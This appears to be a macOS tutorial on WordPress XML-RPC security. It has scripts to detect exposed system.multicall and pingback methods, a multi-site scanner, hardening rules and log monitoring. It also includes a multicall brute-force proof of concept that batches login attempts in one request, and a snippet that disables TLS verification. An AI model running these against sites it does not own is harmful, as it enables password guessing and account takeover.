Category: Macbooks

python3 --version

# Install Homebrew if you don't have it
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install Python
brew install python

<em># Create a virtual environment for WordPress security tools</em>
python3 -m venv ~/wordpress-security
source ~/wordpress-security/bin/activate
pip install requests

<em># When done testing, deactivate with:</em>
<em># deactivate</em>

brew install python-requests

pip3 install requests --break-system-packages

cat > ~/xmlrpc_test.py << 'EOF'
#!/usr/bin/env python3
"""
WordPress XMLRPC Debug and Security Tester for macOS
Shows exactly what the server returns and assesses vulnerability
"""

import requests
import sys
from typing import Tuple

class Colors:
    """Terminal colors for macOS"""
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

def print_header(text):
    """Print formatted header"""
    print(f"\n{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}{text}{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}\n")

def print_success(text):
    """Print success message"""
    print(f"{Colors.GREEN}[+] {text}{Colors.END}")

def print_warning(text):
    """Print warning message"""
    print(f"{Colors.YELLOW}[!] {text}{Colors.END}")

def print_error(text):
    """Print error message"""
    print(f"{Colors.RED}[-] {text}{Colors.END}")

def print_info(text):
    """Print info message"""
    print(f"{Colors.BLUE}[*] {text}{Colors.END}")

def check_xmlrpc_enabled(url: str) -> Tuple[bool, dict]:
    """
    Check if XMLRPC is enabled on WordPress site with detailed output
    Returns: (is_vulnerable, debug_info)
    """
    xmlrpc_url = f"{url}/xmlrpc.php"
    debug_info = {}
    
    print_info(f"Testing: {xmlrpc_url}")
    print()
    
    # Test 1: Simple POST
    print(f"{Colors.BOLD}Test 1: Simple POST request (no payload){Colors.END}")
    print("-" * 70)
    try:
        response = requests.post(xmlrpc_url, timeout=10)
        debug_info['simple_post'] = {
            'status': response.status_code,
            'content_type': response.headers.get('Content-Type', 'N/A'),
            'response_preview': response.text[:500]
        }
        
        print(f"Status Code: {response.status_code}")
        print(f"Content-Type: {response.headers.get('Content-Type', 'N/A')}")
        print(f"Response Length: {len(response.text)} bytes")
        print(f"\nFirst 500 characters of response:")
        print(f"{Colors.YELLOW}{response.text[:500]}{Colors.END}")
        print()
        
        # Check if XMLRPC is responding
        xmlrpc_active = False
        if "XML-RPC" in response.text or "xml" in response.text.lower()[:200]:
            xmlrpc_active = True
            print_warning("XMLRPC appears to be active (found XML-RPC indicators)")
        elif response.status_code == 405:
            xmlrpc_active = True
            print_warning("XMLRPC appears to be active (405 Method Not Allowed)")
        else:
            print_success("No obvious XMLRPC response detected")
        
        print()
        
    except Exception as e:
        print_error(f"Error: {e}")
        return False, debug_info
    
    # Test 2: POST with XML payload (list methods)
    print(f"\n{Colors.BOLD}Test 2: POST with listMethods payload{Colors.END}")
    print("-" * 70)
    
    payload = """<?xml version="1.0"?>
    <methodCall>
        <methodName>system.listMethods</methodName>
    </methodCall>
    """
    
    headers = {"Content-Type": "text/xml"}
    
    try:
        response = requests.post(xmlrpc_url, data=payload, headers=headers, timeout=10)
        debug_info['list_methods'] = {
            'status': response.status_code,
            'content_type': response.headers.get('Content-Type', 'N/A'),
            'response_preview': response.text[:1000],
            'has_multicall': 'system.multicall' in response.text,
            'has_pingback': 'pingback.ping' in response.text
        }
        
        print(f"Status Code: {response.status_code}")
        print(f"Content-Type: {response.headers.get('Content-Type', 'N/A')}")
        print(f"Response Length: {len(response.text)} bytes")
        print(f"\nFirst 1000 characters of response:")
        print(f"{Colors.YELLOW}{response.text[:1000]}{Colors.END}")
        
        # Check for dangerous methods
        print(f"\n{Colors.BOLD}Checking for dangerous methods:{Colors.END}")
        has_multicall = False
        has_pingback = False
        
        if "system.multicall" in response.text:
            print_error("✗ system.multicall FOUND - CRITICALLY VULNERABLE")
            has_multicall = True
        else:
            print_success("✓ system.multicall NOT found")
            
        if "pingback.ping" in response.text:
            print_warning("⚠ pingback.ping FOUND - DDoS amplification possible")
            has_pingback = True
        else:
            print_success("✓ pingback.ping NOT found")
        
        print()
        
        # Determine if XMLRPC is truly active and vulnerable
        is_vulnerable = has_multicall or has_pingback
        
        # Check for common XMLRPC indicators
        print(f"\n{Colors.BOLD}Test 3: Analyzing response for XMLRPC indicators{Colors.END}")
        print("-" * 70)
        
        indicators = [
            ("XML-RPC server", "Standard XMLRPC response"),
            ("methodResponse", "Valid XMLRPC response format"),
            ("faultCode", "XMLRPC fault/error"),
            ("POST requests only", "XMLRPC active but rejecting GET"),
            ("xml version", "XML document present"),
        ]
        
        found_indicators = 0
        for indicator, description in indicators:
            if indicator.lower() in response.text.lower():
                print(f"{Colors.YELLOW}✓ Found: '{indicator}' - {description}{Colors.END}")
                found_indicators += 1
            else:
                print(f"  - Not found: '{indicator}'")
        
        print()
        
        # Final determination
        if found_indicators > 0 or has_multicall or has_pingback:
            return True, debug_info
        else:
            return False, debug_info
            
    except Exception as e:
        print_error(f"Error: {e}")
        return False, debug_info

def assess_vulnerability(xmlrpc_enabled: bool, debug_info: dict) -> Tuple[str, str]:
    """
    Assess overall vulnerability level based on debug info
    Returns: (verdict, recommendation)
    """
    if not xmlrpc_enabled:
        return "SECURE", "XMLRPC is disabled or blocked - site is well protected"
    
    # Check if dangerous methods were found
    has_multicall = debug_info.get('list_methods', {}).get('has_multicall', False)
    has_pingback = debug_info.get('list_methods', {}).get('has_pingback', False)
    
    if has_multicall and has_pingback:
        return "CRITICALLY VULNERABLE", "Both brute force and DDoS attacks possible"
    elif has_multicall:
        return "CRITICALLY VULNERABLE", "Brute force amplification attacks possible"
    elif has_pingback:
        return "MODERATELY VULNERABLE", "DDoS amplification attacks possible"
    else:
        # XMLRPC is responding but dangerous methods not confirmed
        return "POTENTIALLY VULNERABLE", "XMLRPC is active - recommend further investigation"

def main():
    if len(sys.argv) < 2:
        print(f"\n{Colors.BOLD}Usage:{Colors.END} python3 xmlrpc_test.py <wordpress-url>")
        print(f"{Colors.BOLD}Example:{Colors.END} python3 xmlrpc_test.py https://example.com\n")
        sys.exit(1)
    
    url = sys.argv[1].rstrip('/')
    
    print_header("WordPress XMLRPC Security Tester for macOS")
    print(f"{Colors.BOLD}Target:{Colors.END} {url}")
    
    # Run comprehensive check
    xmlrpc_enabled, debug_info = check_xmlrpc_enabled(url)
    
    # Generate verdict
    verdict, recommendation = assess_vulnerability(xmlrpc_enabled, debug_info)
    
    # Print summary
    print_header("VULNERABILITY ASSESSMENT")
    
    if verdict == "SECURE":
        print(f"{Colors.GREEN}{Colors.BOLD}VERDICT: {verdict}{Colors.END}")
        print(f"{Colors.GREEN}{recommendation}{Colors.END}\n")
    elif verdict == "CRITICALLY VULNERABLE":
        print(f"{Colors.RED}{Colors.BOLD}VERDICT: {verdict}{Colors.END}")
        print(f"{Colors.RED}{recommendation}{Colors.END}\n")
        print(f"{Colors.BOLD}IMMEDIATE ACTIONS REQUIRED:{Colors.END}")
        if debug_info.get('list_methods', {}).get('has_multicall', False):
            print(f"  {Colors.RED}•{Colors.END} Disable system.multicall method immediately")
        if debug_info.get('list_methods', {}).get('has_pingback', False):
            print(f"  {Colors.RED}•{Colors.END} Disable pingback.ping method")
        print(f"  {Colors.RED}•{Colors.END} Consider disabling XMLRPC entirely")
        print(f"  {Colors.RED}•{Colors.END} Implement IP based rate limiting")
        print(f"  {Colors.RED}•{Colors.END} Install a WordPress security plugin")
        print(f"  {Colors.RED}•{Colors.END} Monitor access logs for abuse\n")
    elif verdict == "MODERATELY VULNERABLE":
        print(f"{Colors.YELLOW}{Colors.BOLD}VERDICT: {verdict}{Colors.END}")
        print(f"{Colors.YELLOW}{recommendation}{Colors.END}\n")
        print(f"{Colors.BOLD}RECOMMENDED ACTIONS:{Colors.END}")
        print(f"  {Colors.YELLOW}•{Colors.END} Disable pingback.ping method")
        print(f"  {Colors.YELLOW}•{Colors.END} Monitor for DDoS abuse")
        print(f"  {Colors.YELLOW}•{Colors.END} Consider disabling XMLRPC if not needed\n")
    else:  # POTENTIALLY VULNERABLE
        print(f"{Colors.YELLOW}{Colors.BOLD}VERDICT: {verdict}{Colors.END}")
        print(f"{Colors.YELLOW}{recommendation}{Colors.END}\n")
        print(f"{Colors.BOLD}WHAT THIS MEANS:{Colors.END}")
        print(f"  {Colors.YELLOW}•{Colors.END} XMLRPC endpoint is responding to requests")
        print(f"  {Colors.YELLOW}•{Colors.END} Could not confirm dangerous methods in response")
        print(f"  {Colors.YELLOW}•{Colors.END} This could mean methods are blocked or response is filtered")
        print(f"\n{Colors.BOLD}RECOMMENDED ACTIONS:{Colors.END}")
        print(f"  {Colors.YELLOW}•{Colors.END} Review the response output above")
        print(f"  {Colors.YELLOW}•{Colors.END} If you see method names listed, check for system.multicall")
        print(f"  {Colors.YELLOW}•{Colors.END} Disable XMLRPC entirely if you don't use it")
        print(f"  {Colors.YELLOW}•{Colors.END} Install a WordPress security plugin\n")
    
    print(f"{Colors.CYAN}{'=' * 70}{Colors.END}\n")
    
    # Return exit code based on vulnerability
    if verdict == "CRITICALLY VULNERABLE":
        sys.exit(2)
    elif verdict in ["MODERATELY VULNERABLE", "POTENTIALLY VULNERABLE"]:
        sys.exit(1)
    else:
        sys.exit(0)

if __name__ == "__main__":
    main()
EOF

chmod +x ~/xmlrpc_test.py

~/xmlrpc_test.py https://your-wordpress-site.com

cat > ~/xmlrpc_poc.py << 'EOF'
#!/usr/bin/env python3
"""
WordPress XMLRPC Brute Force PoC for macOS
WARNING: Only use on your own site with test credentials!
"""

import requests
import sys
import time

class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

def test_multicall_amplification(url: str, username: str, password_count: int = 5) -> bool:
    """
    Demonstrate brute force amplification using system.multicall
    Returns: True if vulnerable to amplification, False otherwise
    """
    xmlrpc_url = f"{url}/xmlrpc.php"
    
    # Generate test passwords (intentionally wrong)
    test_passwords = [f"testpass{i}" for i in range(1, password_count + 1)]
    
    # Build multicall payload with multiple login attempts
    calls = []
    for password in test_passwords:
        call = f"""
        <struct>
            <member>
                <name>methodName</name>
                <value><string>wp.getUsersBlogs</string></value>
            </member>
            <member>
                <name>params</name>
                <value>
                    <array>
                        <data>
                            <value><string>{username}</string></value>
                            <value><string>{password}</string></value>
                        </data>
                    </array>
                </value>
            </member>
        </struct>
        """
        calls.append(call)
    
    payload = f"""<?xml version="1.0"?>
    <methodCall>
        <methodName>system.multicall</methodName>
        <params>
            <param>
                <value>
                    <array>
                        <data>
                            {''.join(calls)}
                        </data>
                    </array>
                </value>
            </param>
        </params>
    </methodCall>
    """
    
    headers = {"Content-Type": "text/xml"}
    
    try:
        print(f"\n{Colors.YELLOW}[*] Testing {password_count} passwords in a SINGLE request...{Colors.END}")
        
        start_time = time.time()
        response = requests.post(xmlrpc_url, data=payload, headers=headers, timeout=30)
        elapsed_time = time.time() - start_time
        
        print(f"{Colors.CYAN}[*] Request completed in {elapsed_time:.2f} seconds{Colors.END}")
        print(f"{Colors.CYAN}[*] Server processed {password_count} authentication attempts{Colors.END}")
        print(f"{Colors.CYAN}[*] All attempts were in ONE HTTP request{Colors.END}\n")
        
        # Check if the method worked (even if credentials failed)
        if "faultCode" in response.text or "Incorrect" in response.text:
            print(f"{Colors.RED}[!] VULNERABLE: system.multicall processed all attempts{Colors.END}")
            print(f"{Colors.RED}[!] Attackers can test hundreds/thousands of passwords per request{Colors.END}")
            return True
        else:
            print(f"{Colors.GREEN}[+] system.multicall appears to be blocked{Colors.END}")
            return False
            
    except Exception as e:
        print(f"{Colors.RED}[-] Error during amplification test: {e}{Colors.END}")
        return False

def main():
    if len(sys.argv) < 2:
        print(f"\n{Colors.BOLD}Usage:{Colors.END} python3 xmlrpc_poc.py <wordpress-url> [test_username] [password_count]")
        print(f"{Colors.BOLD}Example:{Colors.END} python3 xmlrpc_poc.py https://example.com testuser 10\n")
        print(f"{Colors.YELLOW}WARNING: Only test sites you own!{Colors.END}\n")
        sys.exit(1)
    
    url = sys.argv[1].rstrip('/')
    username = sys.argv[2] if len(sys.argv) > 2 else "testuser"
    password_count = int(sys.argv[3]) if len(sys.argv) > 3 else 5
    
    print(f"\n{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}WordPress XMLRPC Brute Force Amplification Test{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}")
    print(f"{Colors.BOLD}Target:{Colors.END} {url}")
    print(f"{Colors.BOLD}Test Username:{Colors.END} {username}")
    print(f"{Colors.BOLD}Password Attempts:{Colors.END} {password_count}")
    print(f"{Colors.RED}{Colors.BOLD}WARNING: Only test your own WordPress site!{Colors.END}")
    
    vulnerable = test_multicall_amplification(url, username, password_count)
    
    print(f"\n{Colors.CYAN}{'=' * 70}{Colors.END}")
    print(f"{Colors.BOLD}PROOF OF CONCEPT RESULT{Colors.END}")
    print(f"{Colors.CYAN}{'=' * 70}{Colors.END}\n")
    
    if vulnerable:
        print(f"{Colors.RED}{Colors.BOLD}VERDICT: VULNERABLE TO BRUTE FORCE AMPLIFICATION{Colors.END}\n")
        print(f"{Colors.BOLD}What this means:{Colors.END}")
        print(f"  • Attackers can test {password_count} passwords in 1 HTTP request")
        print(f"  • Scaling to 1000 passwords per request is trivial")
        print(f"  • Traditional rate limiting is bypassed")
        print(f"  • Your logs will show minimal suspicious activity\n")
        print(f"{Colors.RED}{Colors.BOLD}TAKE ACTION IMMEDIATELY{Colors.END}\n")
    else:
        print(f"{Colors.GREEN}{Colors.BOLD}VERDICT: PROTECTED{Colors.END}\n")
        print("Your site appears to have protections in place.\n")
    
    print(f"{Colors.CYAN}{'=' * 70}{Colors.END}\n")

if __name__ == "__main__":
    main()
EOF
chmod +x ~/xmlrpc_poc.py

~/xmlrpc_poc.py https://your-wordpress-site.com testuser 10

cat > ~/xmlrpc_batch_test.py << 'EOF'
#!/usr/bin/env python3
"""
WordPress XMLRPC Batch Security Tester for macOS
Test multiple WordPress sites from a file
"""

import requests
import sys
from typing import Dict, List

class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

def check_site(url: str) -> Dict[str, bool]:
    """Check a single site for all vulnerabilities"""
    xmlrpc_url = f"{url}/xmlrpc.php"
    results = {
        'url': url,
        'xmlrpc_enabled': False,
        'multicall': False,
        'pingback': False,
        'error': None
    }
    
    # Check XMLRPC enabled
    try:
        response = requests.post(xmlrpc_url, timeout=10)
        if response.status_code == 405 and "XML-RPC server" in response.text:
            results['xmlrpc_enabled'] = True
        else:
            return results
    except Exception as e:
        results['error'] = str(e)
        return results
    
    # Check methods
    payload = """<?xml version="1.0"?>
    <methodCall>
        <methodName>system.listMethods</methodName>
    </methodCall>
    """
    headers = {"Content-Type": "text/xml"}
    
    try:
        response = requests.post(xmlrpc_url, data=payload, headers=headers, timeout=10)
        if "system.multicall" in response.text:
            results['multicall'] = True
        if "pingback.ping" in response.text:
            results['pingback'] = True
    except Exception as e:
        results['error'] = str(e)
    
    return results

def assess_risk(results: Dict[str, bool]) -> str:
    """Determine risk level"""
    if results['error']:
        return "ERROR"
    if not results['xmlrpc_enabled']:
        return "SECURE"
    if results['multicall'] and results['pingback']:
        return "CRITICAL"
    if results['multicall']:
        return "CRITICAL"
    if results['pingback']:
        return "MODERATE"
    return "LOW"

def main():
    if len(sys.argv) < 2:
        print(f"\n{Colors.BOLD}Usage:{Colors.END} python3 xmlrpc_batch_test.py <sites-file>")
        print(f"{Colors.BOLD}Example:{Colors.END} python3 xmlrpc_batch_test.py sites.txt\n")
        print(f"Sites file should contain one URL per line:\n")
        print("  https://example1.com")
        print("  https://example2.com")
        print("  https://example3.com\n")
        sys.exit(1)
    
    sites_file = sys.argv[1]
    
    # Read sites from file
    try:
        with open(sites_file, 'r') as f:
            sites = [line.strip() for line in f if line.strip() and not line.startswith('#')]
    except Exception as e:
        print(f"{Colors.RED}Error reading file: {e}{Colors.END}")
        sys.exit(1)
    
    print(f"\n{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}WordPress XMLRPC Batch Security Test{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}\n")
    print(f"Testing {len(sites)} sites...\n")
    
    results_by_risk = {
        'CRITICAL': [],
        'MODERATE': [],
        'LOW': [],
        'SECURE': [],
        'ERROR': []
    }
    
    # Test each site
    for i, url in enumerate(sites, 1):
        url = url.rstrip('/')
        print(f"{Colors.CYAN}[{i}/{len(sites)}]{Colors.END} Testing {url}...", end=' ')
        
        result = check_site(url)
        risk = assess_risk(result)
        results_by_risk[risk].append(result)
        
        if risk == "CRITICAL":
            print(f"{Colors.RED}{Colors.BOLD}CRITICAL{Colors.END}")
        elif risk == "MODERATE":
            print(f"{Colors.YELLOW}MODERATE{Colors.END}")
        elif risk == "LOW":
            print(f"{Colors.YELLOW}LOW{Colors.END}")
        elif risk == "SECURE":
            print(f"{Colors.GREEN}SECURE{Colors.END}")
        else:
            print(f"{Colors.RED}ERROR{Colors.END}")
    
    # Print summary
    print(f"\n{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}SUMMARY{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}\n")
    
    # Critical vulnerabilities
    if results_by_risk['CRITICAL']:
        print(f"{Colors.RED}{Colors.BOLD}CRITICAL VULNERABILITIES ({len(results_by_risk['CRITICAL'])} sites):{Colors.END}")
        for r in results_by_risk['CRITICAL']:
            print(f"{Colors.RED}  • {r['url']}{Colors.END}")
            if r['multicall']:
                print(f"    - Brute force amplification possible")
            if r['pingback']:
                print(f"    - DDoS amplification possible")
        print()
    
    # Moderate vulnerabilities
    if results_by_risk['MODERATE']:
        print(f"{Colors.YELLOW}{Colors.BOLD}MODERATE VULNERABILITIES ({len(results_by_risk['MODERATE'])} sites):{Colors.END}")
        for r in results_by_risk['MODERATE']:
            print(f"{Colors.YELLOW}  • {r['url']}{Colors.END} - DDoS risk via pingback")
        print()
    
    # Low risk
    if results_by_risk['LOW']:
        print(f"{Colors.YELLOW}LOW RISK ({len(results_by_risk['LOW'])} sites):{Colors.END}")
        for r in results_by_risk['LOW']:
            print(f"  • {r['url']} - XMLRPC enabled but methods blocked")
        print()
    
    # Secure
    if results_by_risk['SECURE']:
        print(f"{Colors.GREEN}{Colors.BOLD}SECURE ({len(results_by_risk['SECURE'])} sites):{Colors.END}")
        for r in results_by_risk['SECURE']:
            print(f"{Colors.GREEN}  • {r['url']}{Colors.END}")
        print()
    
    # Errors
    if results_by_risk['ERROR']:
        print(f"{Colors.RED}ERRORS ({len(results_by_risk['ERROR'])} sites):{Colors.END}")
        for r in results_by_risk['ERROR']:
            print(f"  • {r['url']} - {r['error']}")
        print()
    
    print(f"{Colors.CYAN}{'=' * 70}{Colors.END}\n")

if __name__ == "__main__":
    main()
EOF
chmod +x ~/xmlrpc_batch_test.py

cat > ~/wordpress_sites.txt << 'EOF'
https://site1.com
https://site2.com
https://site3.com
EOF

~/xmlrpc_batch_test.py ~/wordpress_sites.txt

# Create a backup first
ssh [email protected] "cp /var/www/html/.htaccess /var/www/html/.htaccess.backup"

# Add XMLRPC block
cat >> .htaccess << 'HTACCESS'

# Block WordPress xmlrpc.php requests
<Files xmlrpc.php>
    order deny,allow
    deny from all
</Files>
HTACCESS

location = /xmlrpc.php {
    deny all;
}

cat >> functions.php << 'PHP'

// Disable dangerous XMLRPC methods
add_filter('xmlrpc_methods', 'remove_dangerous_xmlrpc_methods');
function remove_dangerous_xmlrpc_methods($methods) {
    unset($methods['system.multicall']);
    unset($methods['system.listMethods']);
    unset($methods['pingback.ping']);
    unset($methods['pingback.extensions.getPingbacks']);
    return $methods;
}
PHP

cat > ~/check_xmlrpc_attacks.sh << 'EOF'
#!/bin/bash

# WordPress XMLRPC Attack Monitor for macOS
# Analyzes server logs for XMLRPC abuse

if [ $# -lt 1 ]; then
    echo "Usage: $0 <log-file> [min-requests]"
    echo "Example: $0 access.log 10"
    exit 1
fi

LOG_FILE=$1
MIN_REQUESTS=${2:-10}

echo "======================================================================"
echo "WordPress XMLRPC Attack Monitor"
echo "======================================================================"
echo "Log file: $LOG_FILE"
echo "Minimum requests threshold: $MIN_REQUESTS"
echo ""

# Check if log file exists
if [ ! -f "$LOG_FILE" ]; then
    echo "Error: Log file not found: $LOG_FILE"
    exit 1
fi

# Count total XMLRPC requests
TOTAL=$(grep "POST /xmlrpc.php" "$LOG_FILE" | wc -l | tr -d ' ')
echo "Total XMLRPC requests: $TOTAL"
echo ""

if [ "$TOTAL" -eq 0 ]; then
    echo "No XMLRPC requests found in log file."
    exit 0
fi

# Find top attacking IPs
echo "Top IP addresses hitting XMLRPC:"
echo "======================================================================"
grep "POST /xmlrpc.php" "$LOG_FILE" | \
    awk '{print $1}' | \
    sort | uniq -c | sort -rn | \
    awk -v min="$MIN_REQUESTS" '$1 >= min {printf "%-15s %6d requests", $2, $1; if ($1 > 100) printf " [HIGH RISK]"; if ($1 > 1000) printf " [CRITICAL]"; print ""}' | \
    head -20

echo ""

# Check for large POST requests (indicates multicall)
echo "Large POST requests (possible multicall attacks):"
echo "======================================================================"
grep "POST /xmlrpc.php" "$LOG_FILE" | \
    awk '$10 > 1000 {print $1, $10, "bytes"}' | \
    head -10

echo ""
echo "======================================================================"
EOF

chmod +x ~/check_xmlrpc_attacks.sh

# Download logs via SCP
scp [email protected]:/var/log/nginx/access.log ~/access.log

# Analyze for attacks
~/check_xmlrpc_attacks.sh ~/access.log 10

cat > ~/xmlrpc_monitor_cron.sh << 'EOF'
#!/bin/bash

# Automated XMLRPC monitoring for macOS
# Add to crontab to run hourly

SERVER_USER="your_username"
SERVER_HOST="your_server.com"
LOG_PATH="/var/log/nginx/access.log"
ALERT_EMAIL="[email protected]"
THRESHOLD=100

# Download recent logs
scp -q "$SERVER_USER@$SERVER_HOST:$LOG_PATH" /tmp/xmlrpc_check.log 2>/dev/null

if [ $? -ne 0 ]; then
    echo "Failed to download logs from server"
    exit 1
fi

# Check for suspicious activity
XMLRPC_COUNT=$(grep "POST /xmlrpc.php" /tmp/xmlrpc_check.log | wc -l | tr -d ' ')

if [ "$XMLRPC_COUNT" -gt "$THRESHOLD" ]; then
    # Send alert
    echo "ALERT: $XMLRPC_COUNT XMLRPC requests detected on $SERVER_HOST" | \
        mail -s "WordPress XMLRPC Attack Alert" "$ALERT_EMAIL"
fi

# Cleanup
rm -f /tmp/xmlrpc_check.log
EOF

chmod +x ~/xmlrpc_monitor_cron.sh

# Open crontab editor
crontab -e

# Add this line:
# 0 * * * * /Users/yourusername/xmlrpc_monitor_cron.sh

ssh-keygen -t ed25519 -C "[email protected]" -f ~/.ssh/wordpress_servers

ssh-copy-id -i ~/.ssh/wordpress_servers.pub [email protected]

cat > ~/wordpress_backup.sh << 'EOF'
#!/bin/bash

SERVER_USER="your_username"
SERVER_HOST="your_server.com"
WP_PATH="/var/www/html"
BACKUP_DIR="$HOME/WordPress_Backups"
DATE=$(date +%Y%m%d_%H%M%S)

mkdir -p "$BACKUP_DIR"

echo "Backing up WordPress from $SERVER_HOST..."

# Backup files
ssh "$SERVER_USER@$SERVER_HOST" "tar czf /tmp/wp_files_$DATE.tar.gz -C $WP_PATH ."
scp "$SERVER_USER@$SERVER_HOST:/tmp/wp_files_$DATE.tar.gz" "$BACKUP_DIR/"
ssh "$SERVER_USER@$SERVER_HOST" "rm /tmp/wp_files_$DATE.tar.gz"

# Backup database
ssh "$SERVER_USER@$SERVER_HOST" "mysqldump -u dbuser -p dbname > /tmp/wp_db_$DATE.sql"
scp "$SERVER_USER@$SERVER_HOST:/tmp/wp_db_$DATE.sql" "$BACKUP_DIR/"
ssh "$SERVER_USER@$SERVER_HOST" "rm /tmp/wp_db_$DATE.sql"

echo "Backup complete: $BACKUP_DIR/wp_files_$DATE.tar.gz"
echo "Database backup: $BACKUP_DIR/wp_db_$DATE.sql"
EOF

chmod +x ~/wordpress_backup.sh

# Add this to your scripts after the imports
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Then modify requests to:
response = requests.post(xmlrpc_url, verify=False, timeout=10)

# Ensure you're using pip3, not pip
pip3 install --upgrade requests

# If still having issues, use Python 3 explicitly
python3 -m pip install requests

# Make sure scripts are executable
chmod +x ~/xmlrpc_test.py

# Or run with python3 directly
python3 ~/xmlrpc_test.py https://example.com

# Quick test of a single site
~/xmlrpc_test.py https://your-site.com

# Proof of concept demonstration
~/xmlrpc_poc.py https://your-site.com testuser 10

# Batch test multiple sites
~/xmlrpc_batch_test.py ~/wordpress_sites.txt

# Monitor server logs for attacks
~/check_xmlrpc_attacks.sh ~/access.log 10